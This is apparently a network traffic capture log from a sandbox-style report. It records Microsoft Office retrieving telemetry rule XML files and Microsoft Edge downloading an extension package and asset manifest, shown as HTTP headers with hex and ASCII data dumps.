2024-11-20 17:57:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:44 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175744Z-185f5d8b95ctl8xlhC1NYCn94g0000000agg0000000142y2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:44 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:43 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:44 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175744Z-185f5d8b95cqnkdjhC1NYCm8w80000000aeg00000000f1bw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:44 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:43 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:44 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175744Z-r1d97b99577n5jhbhC1TEB74vn000000093g00000000nmq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:44 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:43 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175744Z-1777c6cb7549x5qchC1TEBggbg00000009x000000000u6vf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:44 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:43 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:44 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175744Z-1777c6cb754rz2pghC1TEBghen00000009u000000000g8e0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:44 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49846	152.195.19.97	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:45 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732730261&P2=404&P3=2&P4=CPOLVoaftiipPh71Q30slYjtZ8Rr1BJsMDvkYSo6l6FgBQmUG5tXry2a%2bJ4bKNYY1nsSSWxe3QCmUHuf%2fnQIHw%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: fXjBeYy9JNgOVAGmmkwG4F Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:45 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12051996 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Wed, 20 Nov 2024 17:57:45 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-20 17:57:45 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49849	13.107.246.63	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:45 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:46 UTC	577	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:45 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 5f9a188a-601e-0055-1252-3b8370000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T175745Z-185f5d8b95c4hl5whC1NYCeex00000000abg000000017g31 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 17:57:46 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-20 17:57:46 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-20 17:57:46 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-20 17:57:46 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-20 17:57:46 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-20 17:57:46 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-20 17:57:46 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-20 17:57:46 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
